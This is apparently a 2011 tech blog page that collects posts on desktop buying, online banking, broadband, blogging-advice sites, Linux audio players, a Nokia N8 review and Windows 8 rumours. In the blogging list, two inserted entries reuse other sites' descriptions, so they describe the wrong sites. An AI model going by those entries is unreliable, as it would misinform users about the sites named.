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Monday, February 28, 2011

A Desktop Computer With The Right Hardware & Software For Your Needs

A desktop computer is now almost a mainstay in every household. It is essential for working at home, surfing the internet, playing video games or watching movies – all in the comfort of your home. When looking at the different brands and models of desktop computers, the most important considerations (after the budget, of course) would be the hardware and software included with your purchase. The right hardware and software for your needs will ensure that you get the most out of the desktop computer – and that you get the most value out of your money.

Upon deciding what the desktop computer will be used for (personal or professional purposes), you can now start shopping around! Check if the motherboard is compatible for the type of use (or abuse!) you will subject the computer to. The same goes when checking the CPU – go for dual processors for better performance. The hard drive should be at least 120GB (more, depending on your needs); if you don’t plan on making any regular upgrades, it would be better to get a hard drive with bigger capacity. If you plan on using a number of programs or applications at the same time, make sure that the RAM chips are enough for your needs as well.

When looking for software installed in a desktop computer, make sure that everything you need is covered. If you will need just the basics, word-processing software would cover your requirements. However, desktop publishing software might be the best option for you if you plan on transforming your documents into professionally-printed material. Last but not the least – you should check if the desktop computer is installed with anti-virus software. This would protect your computer (and your documents/files) from being accessed without your permission by outside sources. If the software is not yet installed, ask around for the best one that would fit your budget – and invest on it.

When your desktop computer has all the hardware and software features that you need, the possibilities are endless for both personal and professional purposes. You can do virtually everything that you want to – right in the comfort of your own home or office.

The Benefits of Electronic Banking

Electronic banking has revolutionized bank account management and provides many features that are valuable to those with access to the services. These services are often offered as part of the banking package offered to customers. These electronic banking services are offered through the bank's website and allow customers to manage their accounts, pay bills online and perform other transactions from a web browser.

One of the most used features of electronic banking is online bank statements. Many banks offer online statements, which allow customers to view their monthly statements in detail. These statements display transactions, credits, deposits and debits made to the account. In many cases, the bank may offer access to up several years worth of bank statements and allow customers to print them, which can help reduce the amount of paperwork the customer must maintain. Some banks may allow for online statements to be exported to a money management program. This can be beneficial for customers who prefer to manage their balances through another program to see transactions.

Online bill pay is another benefit that customers are able to use through electronic banking. Online bill pay allows customers to pay bills online, eliminating the need to write checks or mail payments. While not all bills may be paid online, many companies such as cellular service, utility and credit cards allow payments to be made online. In some cases it may be possible to set up automatic bill pay, which will automatically debit the amount that is owed for the bill from the bank account. This can simplify the bill paying process for many customers and help them to avoid missed payments.

Electronic banking also includes the use of an ATM to make direct deposits and withdraw cash from the bank. This form of banking allows customers to access their funds when the bank is closed. This type of banking can be beneficial for those who may not be able to visit the bank during bank hours, or prefer a faster type of transaction. Many banks offer debit or check cards for customers to allow them to use the ATM services.

Finding A Wireless Broadband Service

Internet tablets and highly portable netbooks have increased the demand for a wireless broadband service that will work wherever you go, but the technology is only just beginning to catch up. While there are several different options for getting wireless internet right now, download limits and limited availability still make most options incomplete for many consumers. Read on to find out what is available, and what to keep in mind when giving it a try.

Mobile Broadband Service

For the majority of those interested in wireless broadband, the most widely available option out there is mobile broadband through a cell phone service provider. Mobile broadband through cell phone services is generally fast enough to handle most media and internet needs. Some networks provide unlimited bandwidth while others have caps on how much you can download in one month. For a network with a cap, extra bandwidth can get expensive. For networks without a cap, speeds may be cut significantly once a user reaches a pre-determined bandwidth level. Mobile wireless broadband service is easy to find in highly populated areas, and works well for portable devices like laptops and cellphones.

Local Wireless Networks

Some consumers lucky enough to live in high tech city centers and certain areas that are testing the technology can sign up for an inexpensive or free wireless broadband service that is designed to run like a home's wireless network on a much larger scale. While this technology is not mainstream everywhere yet, look for large wireless networks to start showing up regularly as options start to mature. WiMax has the potential to bring inexpensive wireless internet to areas that don't currently have reasonable standard broadband coverage.

Satellite Networks

For wireless broadband service to a fixed point, the only current option is a satellite network. While areas with high populations are usually better served by wired service to homes and businesses, satellite networks can provide wireless access to rural areas and places where wired service can't go. Most satellite providers cap bandwidth on both a daily and monthly level. Satellite broadband costs can range from wired service levels to much higher, depending on your bandwidth needs.

10 Blogs To Follow That Will Help You Learn How to Improve Your Own Blog

So you’ve managed to fumble your way through the initial stages of getting your blog up and running. Now what? Sometimes it’s difficult to know what to do next to make your blog more popular or more appealing. Being your own boss is great, but it also often means that there are few others to turn to when it comes to advice on what the next step in elevating your business will be. However, there are plenty of other entrepreneurs, many of them quite successful, who have come before you and have probably asked themselves some of the same questions you are asking yourself.

Maybe you have gotten your feet under you when it comes to running your blog or you are still struggling to gain a little traction and aren’t quite sure which way to take your blog. Either way, here are a few sites devoted to making blogs better that you might want to check out in order to pick up some tips or advice.

 

0. Techblog.co.cc

Pick through their news, read some editorials, and sift through a plethora of interviews, reviews, and stories. If you’re looking for relevant blogging subject matter, there is plenty to be found at blogherald.com.

 

Readable.co.cc

Utilize founder Darren Rowseâ years of experience blogging to discover tips and tidbits that can help you with your own blog. This blog is stuffed to the gills with plenty of articles and information about how to better your blog. If you can’t find ways to increase your blog’s quality and popularity here, you just aren’t looking.

 

1. Problogger.net

Utilize founder Darren Rowseâ years of experience blogging to discover tips and tidbits that can help you with your own blog. This blog is stuffed to the gills with plenty of articles and information about how to better your blog. If you can’t find ways to increase your blog’s quality and popularity here, you just aren’t looking.

2. Entrepreneurs-journey.com

Grab a podcast, watch a video post, or just read a post or two related to blogs, blog traffic, internet marketing, business strategy, entrepreneurship, and a number of related topics. Follow founder Yaro Starak as he provides “Down-to-Earth” tips and advice for all you bloggers and marketers out there.

3. Shoemoney.com

Read some informative posts, pick up some great tips, or visit the site’s ‘Directory’ page, which provides information about some of the online world’s big-time players. For a great motivational story, check out the “About” page to read the founder’s feel good story that brought him to where he is today, and discover the site’s “Philosophy and Business Model”.

4. Doshdosh.com

A no-frills, content heavy blog, Doshdosh.com focuses on providing it’s readers with posts that might prove helpful in elevating their blog’s quality. Whether you are an entrepreneur who is blogging full time or just blogging for a little extra cash, you can read informative posts here that can help you with your work.

5. ChrisG.com

Follow founder Chris Garrett’s site as it explores thoughts and advice related to blogging and marketing. Included among Chris’s many titles are professional blogger, writer, speaker, and internet marketing consultant. You can discover more about his consulting services on the site.

6. DailyBlogTips.com

From “Blogging Basics” to “Blogging Design” and projects, dailyblogtips.com offers a variety of blogging and blog-related subject matter.

7. BlogHerald.com

There is certainly no lack of blogging information at blogherald.com. Pick through their news, read some editorials, and sift through a plethora of interviews, reviews, and stories. If you’re looking for relevant blogging subject matter, there is plenty to be found at blogherald.com.

8. SEObook.com

You might want to visit the seobook.com blog for a variety of informative articles, interviews, and even a bit of humor. There is plenty of pertinent, industry related subject matter to be picked up at the site, but the topics related strictly to business are balanced nicely with a more human touch in posts like, “Why Many Successful People Become Jerks”.

9. CopyBlogger.com

Maybe your copywriting isnâ as strong as you would like it to be. If that is the case then you might consider stopping in for a visit at copyblogger.com. Among the subject matter to be found at copyblogger.com are available copywriting courses, SEO copywriting information, headline writing tips, and plenty of articles to help beef up your writing abilities.

10. BloggersBlog.com

If you want to keep up with the latest trends in blogging then bloggersblog.com might be worth a visit. Not as business related as many of the other sites on this list, bloggersblog.com offers more of a taste of what’s new in blog pop-culture and blogging trends. Read about things like White House Press Secretary Robert Gibbs’ new Twitter account, Britney Spears’ Twitter account being hacked again or review the celebrity most listed Twitter accounts. On a more personal note, the last time I visited the site, I got a laugh from the site’s video clip, “The Onion Covers Parents Facebook Stalking Their College-Aged Kids

 

Previous Post     

nokia-n8

 

windows-8-faq

 

kodak-z915-review

 

windows-7-shortcuts

Android App: ‘Sleep as an Droid’

Sleep as an Droid is an Android alarm clock with integrated sleep cycle tracker for waking you up gently in your light sleep cycle.

 

 

Common alarm clocks ignore your sleep cycles, they wake you on schedule no matter your are currently in your deep sleep. Waking-up from the deep sleep is very unpleasant, it makes you tired and it may negatively affect your productivity during the whole day.

In contrast Sleep as an Droid tracks your sleep during night and given a time range, it chooses the optimal moment to wake you up (ideally in light sleep). Waking up in light sleep is natural, gentle and it may only be compared to the experience of waking up without any alarm clock.

Why paying hundreds of dollars for tracking your sleep through special alarm clock devices when you can achieve a similar experience just by installing Sleep as an Droid into the android phone you already own.

Sleep as an Droid has many interesting features to make you sleep experience more pleasant.

 

nokia-n8

windows-8-faq

kodak-z915-review

windows-7-shortcuts

10 Best Linux Audio players

Featuring 10 of the Best Linux Audio players. Would appreciate your feedback through comments :>

1- Rhythmbox:

Rhythmbox is an great audio application for linux. It’s free of cost and it can play and organize digial music easily. It’s inspiration comes from Apple iTunes and it worked pretty amazing under the GNOME Desktop while using the GStreamer media framework.‭

Rythmbox Features:

* Easy to use music browser
* Searching and sorting
* Comprehensive audio format support through GStreamer
* Internet Radio support including last.fm streams
* Playlists
* Display audio visualizations
* Transfer music to and from iPod, MTP, and USB Mass Storage music players
* Display album art and song lyrics downloaded from the internet
* Play, rip, and burn audio CDs
* Automatically download audio podcasts
* Browse, preview, and download albums from Magnatune and Jamendo

Official Rythmbox Website
Download Rythmbox:

2- GMPC (Gnome Music Player Client):GMPC is a nice frontend for Music Player Daemon. It’s fast and easy to use, while still making optimal use of all the functions in mpd.

Features:

* Metadata support, it can show artist image, album art, lyrics, etc.
* Plugin support.
* Fast, gmpc is optimized to work even on low end machines and slow networks.
* Profile support, easily use gmpc with multiple mpd’s.

Download
Screenshots
Official Website

3- XMMS (The X Multimedia System):

XMMS (X MultiMedia System) is a great multimedia player which works on almost all systems but it has some special items which only works in Linux. XMMS can play media files such as MP3, MOD’s, WAV and others with the use of Input plugins. It’s a free software audio player very similar to Winamp,‭ ‬that runs on many Unix-like operating
systems.

Download
Official Website

4- Amarok:

Amarok is another great music player for Linux and Unix. Amarok’s interface is very intuitive. It’s a free music player for GNU/Linux and works with UNIX as well. Right now, Amarok is the most popular audio player for Linux.

Download
Official Website

5- Quod Libet

Quod Libet is a GTK+ based audio player, it’s main feature is it’s music library management. Instead of categorizing the songs by genre, artist, and album, you can search and display instead. Quod Libet can support huge music libraries compared to any other audio players for linux out there.

Download
Official Website

6- Audacious:Audacious is a free media player for Linux or Linux based systems. Supporting immense portion of its features to plugins, including all codecs. With Audacious, On most systems, a useful set of plugins is installed by default, giving you the ability toplay MP3, Ogg Vorbis and FLAC files etc.

Features
Download
Official Website

7- Exaile:

Exaile is a free software audio player for Unix-like operating systems that aims to be similar to KDE’s Amarok, but based on the GTK+ toolkit instead of the Qt toolkit Amarok uses.

 

Features include:* Automatic fetching of album art
* Handling of large music libraries
* Lyrics fetching
* Artist and album information via Wikipedia
* bidirectional last.fm support (both scrobbling of played songs and retrieving related songs from the last.fm server)
* Optional iPod support (requires python-gpod)
* Optional MTP player support (requires libmtp and pymtp)
* Optional iTunes DAAP music sharing support
* Built in shoutcast directory browser
* Tabbed play lists
* Blacklisting of tracks from the music library

Download
Official Website

8- Banshee:‭ ‬

Banshee is an free audio player for GNU/Linux operating systems which uses the Helix and GStreamer multimedia platforms to play, ‬encode,‭ ‬and decode Oggs,‭ ‬MP3s,‭ ‬and other formats.You can play and import audio CDs, play and synchronize music with iPods and share your music easily.‭ Banshee also have the capability of reporting played songs to a user’s Last.fm playlist.‭ Another cool feature of Banshee is that it can Rip CD’s, support podcasting, smart playlists, music recommendations, burn audio and MP3 cd’s and much more!

 

Download
Official Homepage

9- BMP (Beep Media Player)

BMP is also known as beep media player. BMP is a free audio player based on XMMS multimedia player (Mentioned above). It looks like Winamp and also supports it’s skins, including XMMS’s. BMP supports most of the audio formats that XMMS does, main difference is between plugins that these both players use.

Download
Official Website

10- Sonata:

Sonata is another elegant GTK+ Music player for MPD (Music player daemon). It’s a free software with features like

* Expanded and collapsed views
* Automatic remote and local album art
* User-configurable columns
* Automatic fetching of lyrics
* Playlist and stream support
* Support for editing song tags
* Popup notification
* Library and playlist searching
* Audioscrobbler (last.fm) support
* Multiple MPD profiles
* Keyboard friendly
* Support for multimedia keys
* Commandline control

Download
Official Website

 

 

songbird-media-player

nokia-n8

windows-8-coming-in-2012

windows-7-shortcuts

Songbird – Media Player

 

SongBird

 

 

Songbird is a Mashed-up Desktop media player which plays everything, from everywhere, from every device! Songbird is a open source player and a platform. Songbird provides a public playground for Web media mash-ups by providing developers with both desktop and Web APIs, developer resources and fostering Open Web media standards, to wit, an Open Media Web.Sleak look, great addons, skins makes this media player something to look at and it supports windows, linux and Mac for that matter :) Check out the Screenshots!

 


Songbird media player Download: Windows Version | Mac Version | Linux Version

Songbird media player Download Extras: Extensions | Skins

Songbird media player Link: Home Page | Official Forum | Official Blog

Indyarocks is a unique approach to communication

                                                    


Indyarocks is a unique approach to communication and entertainment based on the simple concept of one to many. If you want to reach out to all your friends and relatives with a single click, Indyarocks is the place to be.
To have maximum fun at Indyarocks:

  • money via Google AdSense and by watching videos
  • - Click here to own your Dream Brands for free
  • - Build your network to send Free group SMS
  • - Play Games and Challenge your friends
  • - Explore & recommend Movies to your friends 
  • - Update your Profile and Add your Profile Photo

Do contact me if you have any feedback or questions.
Have fun

sadek

                                            

Sunday, February 27, 2011

Nokia N8

image

 

Pros

HD video support

Superb 12-megapixel camera

 

Cons

Software feels dated

Keyboard difficult to use

 

Bottom Line

The Nokia N8 has some cutting-edge multimedia features, including a 12-megapixel camera and HDMI output, but the operating system feels stale and dated.

 


 

Nokia N8: Hardware Impresses, but Software Underwhelms

 

When I first got my hands on the Nokia N8 ($550 unlocked; price as of 10/3/2010) back in June, I was impressed with its hardware and multimedia features, but had the feeling that the software was stale and outdated. After spending more time with the N8, I haven't changed my opinion very much. If anything, I am even more impressed with the attractive hardware and the fantastic camera--which makes the dated OS even more  frustrating.

Slick Design

The N8 gives the impression of being a high-end device, starting with its attractive, blue box. Opening the box reveals the equally good-looking phone and all of its accessories: an HDMI cable, earbuds, a wall charger, and data cable.

When held, the N8 feels lightweight yet sturdy. The scratch-proof metal chassis gives the phone a luxurious but durable feel. The N8 comes in five attractive colors: dark gray, silver white, green, blue, and orange. The face of the phone is minimalist, with the 3.5-inch 640-by-360-pixel display dominating its face and a single hardware button below it. This hardware button lets you switch between the homescreen and the menu screen; and when held down, it shows you all of your open applications.

 

The right spine of the phone houses the microSD slot (the N8's memory is expandable up to 32GB) and the SIM card slot. The micro-USB port is located on the right as well. On the left spine, you'll find the oblong volume rocker, a ringer off-and-on switch, and a dedicated camera key. The power button, a 3.5mm headphone jack, and an HDMI port are located at the top. The rather large 12-megapixel camera, equipped with a Carl Zeiss lens and a Xenon flash, is on the back. Annoyingly, the N8 does not have a removable battery, so you'll have to attack the device with a screwdriver to get the back cover off.

Stale Software

I dislike Symbian's typography. The boxy, small text just looks so late-1990s to me, and it isn't easy on the eyes. When Nokia announced the Symbian S3 revamp, I had hoped for cleaner, more modern-looking typography and aesthetically pleasing icons. But S3 looks more or less the same as the previous version with some tweaks and added features here and there.

A few features in the software didn't strike me as user-friendly. For example, unlike the iPhone OS, Android, and WebOS, S3 doesn't allow you to upload photos or videos to your social networks directly from the camera or gallery app. Instead, to share your photos, you must go into the dedicated Ovi social networking client, which aggregates your social networking accounts into a single app.

The on-screen keyboard felt cramped--even more so than the native Android keyboard. In portrait mode, you're stuck with a 12-key alphanumeric keyboard.This may be a nice trip down memory lane for some people, but it's incredibly annoying to use. I found myself always using the keyboard in landscape mode, which meant having to text two-handed rather than one-handed.

You also get only three homescreens to work with. For some users, three may be enough to accommodate all the widgets they need, but I wanted more. The widgets are all of identical size, and they're rather large, so you don't have a lot of room to work with. If you want to add a shortcut to an app on your homescreen, you must open the "shortcuts" widget; you can add a total of four icons on there. The process is a lot more complicated than Android's system of adding a widget or shortcut simply by holding down the touchscreen.

Arranging widgets is a bit of a pain as well. You can't move a widget between homescreens; instead, you have to delete it from one homepage and then add it to another. Moving widgets around on the same homepage is a simple matter of holding and dragging it to the desired place, but the OS's slow reaction time makes this task unduly frustrating (see Performance below).

S3 does introduce some improvements over older Symbian versions, such as multitouch in the browser and photo gallery (at last!), a navigation system that requires fewer taps, and a simpler multitasking system. Also, when you press the battery icon in the homescreen, a window pops up to display available Wi-Fi connections, USB connections, and a bigger clock that you can use to adjust the time or set an alarm.

Despite these tweaks, Symbian S3 feels outdated and overly complicated in comparison to the Android OS and iOS. Simple tasks--such as adding shortcuts to your homepage--are more difficult to perform than they should be.

Web Browsing and Multimedia

The Web browser's interface is unnecessarily complicated, too. For example, to get to your toolbar while viewing a page, you must hit an icon in the corner to call it up. You then have three unlabeled icons to work with. Anybody unfamiliar with the Symbian browser will be puzzled by these icons and what they do; in fact, they all perform slightly different functions, with some overlap.

The browser renders pages quickly over both Wi-Fi and 3G connections. Though it doesn't have full Flash 10 support, the browser does work with Flash Lite, so you can play some videos.

Overall, the video-watching experience is brilliant on the N8's OLED display. The phone supports HD quality video and Dolby Digital surround sound--a boon for movie junkies. I hope that Nokia makes purchasing movies easy--and available to U.S. audiences.

 

Excellent Camera

Nokia says that the built-in 12-megapixel Zeiss camera has the largest sensor on any phone. It certainly takes incredible photos. I snapped a few shots and was impressed at how bright and natural the colors looked and how sharp the details were.

The camera also captures 720p HD video, which looked great on both the phone and when played back on an HDTV. Playback was smooth and crisp, with bright and natural colors (for a look at how powerful the N8's camcorder is, check out this stop-motion video shot with the phone). The N8 has HDMI-out so you can play high definition videos from your phone to your home theater. Even better, Nokia includes the HDMI adapter in the box (unlike the way another company I can think of handles its HDMI-capable smartphone). Nokia also supplies a front-facing camera to handle video calling.

 

Performance

In terms of responsiveness, the N8 was hit-or-miss. I noticed a bit of a lag when flipping between the homescreens. On an iPhone or an Android device, the page turns with your finger when you flip between homescreens. With the N8, you swipe first and then the screen moves. Web browsing was speedy, but the browser did crash on me once during my tests.

Call quality on the N8 over the AT&T network was excellent. Voices sounded loud and clear with no distortion or static. Though we didn't conduct any formal tests, the N8 had very good battery life in my hands-on tests. The phone lasted for a full weekend of normal use (a few phone calls, text messages, video, and a few hours of music).

Ovi Maps Rocks

Nokia's excellent, free navigation service Ovi Maps comes loaded on the phone. What makes Ovi Maps better than say, Google Maps? Nokia has been aggregating data and building its mobile mapping technology since the company's acquisition of digital map supplier Naviteq. Ovi Maps shows local country data as well as more than 6000 3D landmarks. Users also have access to data from Lonely Planet and Michelin travel guides.

Ovi Maps doesn't require a network connection for navigation, so you'll conserve your phone's battery life and you won't be thrown off by cellular dead zones while on the road. Ovi Maps uses "hybrid vector maps," which Nokia says are high quality yet less data intensive so you can store them on your phone after downloading them. In contrast, Google Maps will cache along your planned route so you can continue to receive turn-by-turn directions to your destination even if you hit a dead zone; but if you try to switch to another map or plan another route, Google Navigation won't work.

Conclusion

The N8 is a remarkably hot-and-cold phone. It has some amazing features, such as the camera and video support, but the software is almost too frustrating to work with. I can onlyt imagine what a superphone the N8 would be if it had a different OS. Symbian needs a complete overhaul in appearance, functionality and performance; little tweaks here and there just won't cut it. I'm excited to see where Nokia's Meego platform with Intel may go, but we may have to wait awhile before any phones start to surface.

The lack of a carrier partner may hurt Nokia N8 sales; Nokia confirmed that the N8 will be sold "through the usual N-series channels." This means that the phone will be sold unlocked via Nokia's Website and from other retail partners. Nokia has made a big deal about reaching out and working with American carriers--AT&T in particular--so at some point a carrier is likely to offer the N8 at a subsidized price.

What to Expect: Windows 8

 

 

It started with an accidental posting on Microsoft's Dutch website saying Windows 8 was two years away from hitting the market. Then there were a few slides at the recent Microsoft Professional Developers Conference suggesting the next release of the Windows Server OS, which typically arrives just after a desktop edition debuts, was due in 2012. To add to the titillation, Microsoft CEO Steve Ballmer, when interviewed at the Gartner Symposium, said the next version of the Windows desktop would be "Microsoft's riskiest upcoming product."

Ballmer says Windows 8 is a big risk for Microsoft
We know Microsoft is not afraid of taking risks, even when it brings ridicule. I've said it before and I'll say it again -- although Vista (pre-SP1) earned a bad reputation for a variety of valid reasons, it was a necessary risk that Microsoft took to provide better security now, in Windows 7, which is built on Vista. Meanwhile, Vista will go down in history as one of the worst OS releases due mainly to a media frenzy launched by InfoWorld that trashed the OS mercilessly and an inexperienced public that bought into the negative press.

[ Get all the details you need on deploying and using Windows 7 in the InfoWorld editors' 21-page Windows 7 Deep Dive PDF special report. | Stay abreast of key Microsoft technologies in our Technology: Microsoft newsletter. ]

Is that what Ballmer is referring to when he says the next version of Windows is risky? Will Windows 8 be the next OS to take a bullet for the future of computing that we'll embrace with the Windows 9 to follow? Hopefully, history won't repeat itself so soon.

One thought is that Windows 8 will be only x64 and x128 (yes, you heard me), positioning Windows 7 as the last 32-bit OS. As crazy as that sounds, everything moves forward eventually. It wouldn't surprise me if the next flavor of Windows is 64-bit only. If it offers a 128-bit flavor, that would ensure Windows 9 will fully support 128. But this doesn't seem to be the big "risk" that Ballmer hinted at.

I'm more inclined, and excited, to think that the risk that Ballmer is speaking of relates to features. It's obvious the economy may not be ready for a new version of Windows that might require enterprises to spend money on more hardware upgrades. Also, those who upgraded from Windows XP to Windows 7 will not be eager to move to Windows 8 unless the features are compelling enough.

I believe the big risk Ballmer hinted at is whether the release will be significant enough to encourage the transition for XP stragglers and Windows 7 users alike. Given how good Windows 7 is, I'd have to be really impressed to make that move personally.

What Windows 8 may feature
What are the rumored enhancements? PC World reports three potential form factor "center of gravities" related to "lap PCs" and tablets, workhorse PCs, and family hub PCs. The lap PC will have tablet features, the workhorse PC is the traditional desktop or laptop system, and the family hub PC is your next evolution of Windows Media Center, where it ties your TV and other media devices.

One possible feature is called "My PC Knows Me," which will use a proximity sensor to detect your movements in a room and, for example, wake up your PC. When you sit at your system, it will scan your face and log you in. Multiple user accounts won't be a problem -- it will instead switch between users. I see this as an interesting parental control. Even if Junior discovers Mom's username and password, he won't be able to get around the facial-recognition-based parental controls.

Another new feature in Windows will be the equivalent of Apple's forthcoming Mac App Store or the iTunes store. Microsoft has already been working on this with Windows 7 and Vista in the form of the Games for Windows Marketplace, which is installed in PCs via Windows Update and will roll out in mid-November.

With the recent emphasis on Office 365, the productivity-oriented successor to Microsoft's Business Productivity Online Standard Suite (BPOS) cloud server suite that integrates with Windows Small Business Server 2011 Essentials (code-named Aurora), it is logical to imagine tight integration with Windows 8 as well. Some rumors say Microsoft will call its next operating system "Windows 365," which would further support the speculation that the desktop will be linked to its cloud offering.

One rumored change for Windows 8 is in the updating of key kernel OS files through the cloud servers. In doing so, Microsoft could ensure systems are updated (supposedly without reboot) with the enhanced files. Plus, this could help prevent piracy. In the event a connection with the Internet is broken, backup kernel files will be used until the Internet connection can be reestablished.

What else? According to leaked documents, as reported by Computerworld's Preston Gralla, we can look forward to improved energy efficiency, faster startup, and better help and support (although you don't have to read leaked documents to expect those updates). A push-button reset is mentioned, which would allow you to reinstall Windows without losing documents and applications. There is also mention of enhanced identity management that allows user identities to exist in the cloud and move with users as they go from PC to PC. These, too, are not incredibly futuristic in nature and should almost be expected in the next version of Windows.

My advice to Redmond: Take your time on this one. Windows 7 is doing just fine in the marketplace. Windows XP is slowly being retired where budgets and workload needs allow. The damaged reputation over Vista (earned or not) is beginning to fade, just as it did for Windows ME before it. Make sure the next flavor of Windows gets our mouths watering. Delay the release for as long as necessary until that is the case. We'll wait.

The State of Windows 8

 

Only Microsoft knows how the next version of its Windows operating system will look and what it will be called, but big changes could be ahead for the OS that observers refer to as "Windows 8."

At this year's Consumer Electronics Show in Las Vegas, Microsoft announced that Windows 8 will support system-on-a-chip architectures using ARM processors. Unlike the x86 architecture that today's Windows laptops and desktops work with, ARM-based chips tend to run such low-power devices as tablets and smartphones.

In his CES keynote speech, Microsoft CEO Steve Ball­mer said, "This announcement is really all about enabling a new class of hardware, and new silicon partners for Windows, to bring the widest possible range of form factors to the market."

In other words, Windows won't be just for laptops and desktops anymore.

 

Actual Facts

Microsoft's ARM announcement represents the firm's only officially released factual detail about Windows 8. Consistent with it, the company named Nvidia, Qualcomm, and Texas Instruments as silicon partners, so Windows devices built upon their three low-power platforms are likely.

At an architectural summit in London last year, Microsoft en­­couraged the idea of virtualizing Windows more heavily, possibly storing apps, data, Windows settings, and parts of the OS itself in the cloud.

Rumors

No rumor about Windows 8 is more precise than a series of leaked slides that supposedly provide a blueprint for Microsoft's next OS. The slides alone don't indicate final features of Windows 8, but they do show where Microsoft is headed, especially since other reports have corroborated them.

One slide, for example, talks about an OS that follows users wherever they go; instead of being tethered to hardware, users may roam between desktops, laptops, and tablets in whatever way is most convenient.

Another slide speaks of a reset button that preserves apps and settings while wiping out viruses and other hindrances. Some industry watchers suggest that storing apps and data in the cloud could make this feature possible.

 

 

As for Microsoft's goal of "instant on" computing, blogger Manan Kakkar spotted a Microsoft patent for using a hypervisor-another virtualization method-to split the operating system into a general-purpose OS and a number of appliancelike applications, such as for TVs and tablets. Those uses, Kakkar says, could switch on instantly even if the core OS took 30 seconds to start up.

How will Microsoft achieve these lightweight versions of its operating system? A ru­­mor circulated by Paul Thurrott posits that Windows 8 will introduce a tile-based interface called "Mosh" to serve as an alternative UI for tablets and other low-power touchscreen devices.

We've also heard rumblings about a new application de­­velopment framework code-named "Jupiter," whose goal is to help developers create dynamic, visually appealing, and immersive applications for a forthcoming Windows app store. It may also be an attempt by Microsoft to enable developers to create apps that work on both traditional x86-based CPUs and ARM-based processors without extensive recompiling and reprogramming.

 

Speculation

If you doubt whether Windows 8 will be a profoundly different operating system from its predecessors, consider this breathless bit of hype that briefly appeared on a Microsoft developer's blog in 2009:

"The minimum that folks can take for granted is that the next version will be something completely different from what folks usually expect of Windows...The themes that have been floated truly reflect what people have been looking [for] for years and it will change the way people think about PCs and the way they use them. It is the future of PCs."

Microsoft quickly removed the blog, as if to erase the evidence. So is the company really trying to shake things up with Windows 8?

 

The Big Picture

Microsoft clearly wants to create an operating system that scales between devices. ARM support provides the foundation, and cloud services could be a major building block. The challenge for Microsoft will be to leave the core Windows experience and legacy compatibility intact while also pursuing its lofty ambitions.

A final rumor: Reportedly, Microsoft is targeting a 2012 release for Windows 8. Think the company can get everything figured out by then?

Windows 8 Coming in 2012?

 

By Brennon Slattery, PCWorld    Oct 25, 2010 8:00 AM

Just as you were getting comfortable with Windows 7, it looks like Windows 8 is coming in the next two years. In a post celebrating the one-year anniversary of Windows 7 -- the fastest selling OS in history -- Microsoft's Dutch Web site briefly mentioned the construction and release of its successor:

"Microsoft is on course for the next version of Windows. But it will take about two years before 'Windows 8' on the market." Winrumors.com grabbed and translated the post, and CNET took a screenshot of the text, which unsurprisingly disappeared shortly after the news stole headlines. Now Microsoft is back to being tight-lipped about Windows 8 and its expected release.

Reports from last year suggested Microsoft was building a 128-bit version of its OS, which could very likely be Windows 8. More recently, Network World acquired more than 15 confidential slide decks detailing possible additions, including body-sensing features similar to the Xbox Kindest, a desktop app store like Apple's forthcoming Mac App Store, near-instant CPU booting, and a focus on powering tablets.

But most importantly, by the time Windows 8 supposedly drops, Microsoft is going to have Apple's latest OS to contend with. Apple just gave a sneak peek of Mac OS X Lion -- called a marriage of OS X and Apple's mobile iOS -- that includes some drool-inducing features like a desktop app store, advanced multitouch gestures, and more.

If Microsoft acts wisely, it stands a chance to emulate -- and perhaps one-up -- all of OS X Lion's key features ... or it could rush and produce another Vista.

Windows XP

 

                                                                             Windows XP screenshot

 

 

In 2001, Microsoft released Windows XP (code named "Whistler"). The merging of the Windows NT/2000 and Windows 95/98/Me lines was finally achieved with Windows XP. Windows XP uses the Windows NT 5.1 kernel, marking the entrance of the Windows NT core to the consumer market, to replace the aging 16/32-bit branch. The initial release met with considerable criticism, particularly in the area of security, leading to the release of three major Service Packs. Windows XP SP1 was released in September 2002, SP2 came out in August 2004 and SP3 came out in April 2008. Service Pack 2 provided significant improvements and encouraged widespread adoption of XP among both home and business users. Windows XP lasted longer as Microsoft's flagship operation system than any other version of Windows, from 2001 to January 30, 2007, when it was succeeded by Windows Vista.

Windows XP is available in a number of versions:

  • Windows XP Home Edition, for home desktops and laptops - lacked features such as joining Active Directory Domain, Remote Desktop Server and Internet Information Services Server.
    • Windows XP Home Edition N, as above, but without a default installation of Windows Media Player, as mandated by a European Union ruling
  • Windows XP Professional, for business and power users contained all features in Home Edition.
    • Windows XP Professional N, as above, but without a default installation of Windows Media Player, as mandated by a European Union ruling
  • Windows XP Media Center Edition (MCE), released in October 2002 for desktops and notebooks with an emphasis on home entertainment. Contained all features offered in Windows XP Professional and the Windows Media Center. Subsequent versions are the same but have an updated Windows Media Center.
    • Windows XP Media Center Edition 2003
    • Windows XP Media Center Edition 2004
    • Windows XP Media Center Edition 2005, released on October 12, 2004. Included Windows XP Service Pack 2, the Royalle Windows Theme and joining a Windows Active Directory Domain is disabled.
  • Windows XP Tablet PC Edition, for tablet PCs
    • Windows XP Tablet PC Edition 2005
  • Windows XP Embedded, for embedded systems
  • Windows XP Starter Edition, for new computer users in developing countries
  • Windows XP Professional x64 Edition, released on 25 April 2005 for home and workstation systems utilizing 64-bit processors based on the x86-64 instruction set developed by AMD as AMD64; Intel calls their version Intel 64
  • Windows XP 64-bit Edition, is a version for Intel's Itanium line of processors; maintains 32-bit compatibility solely through a software emulator. It is roughly analogous to Windows XP Professional in features. It was discontinued in September 2005 when the last vendor of Itanium workstations stopped shipping Itanium systems marketed as "Workstations".
    • Windows XP 64-bit Edition 2003, based on the Windows NT 5.2 codebase.

Windows 1.0 and Windows 2.0

 

The first independent version of Microsoft Windows, version 1.0, released on 20 November 1985, achieved little popularity. It was originally going to be called "Interface Manager" but Rowland Hanson, the head of marketing at Microsoft, convinced the company that the name Windows would be more appealing to consumers. Windows 1.0 was not a complete operating system, but rather an "operating environment" that extended MS-DOS, and shared the latter's inherent flaws and problems.

The first version of Microsoft Windows included a simple graphics painting program called Windows Paint; Windows Write, a simple word processor; an appointment "calendar"; a "cardfiler"; a "notepad"; a "clock"; a "control panel"; a "computer terminal"; "Clipboard"; and RAM driver. It also included the MS-DOS Executive and a game called Reversi.

Microsoft had worked with Apple Computer to develop several Desk Accessories and other minor pieces of software that were included with early Macintosh system software. As part of the related business negotiations, Microsoft had licensed certain aspects of the Macintosh user interface from Apple; in later litigation, a district court summarized these aspects as "screen displays". In the development of Windows 1.0, Microsoft intentionally limited its borrowing of certain GUI elements from the Macintosh user interface, in order to comply with its license.

 

 

 

                                                                       Screenshot of Windows 1.01

 

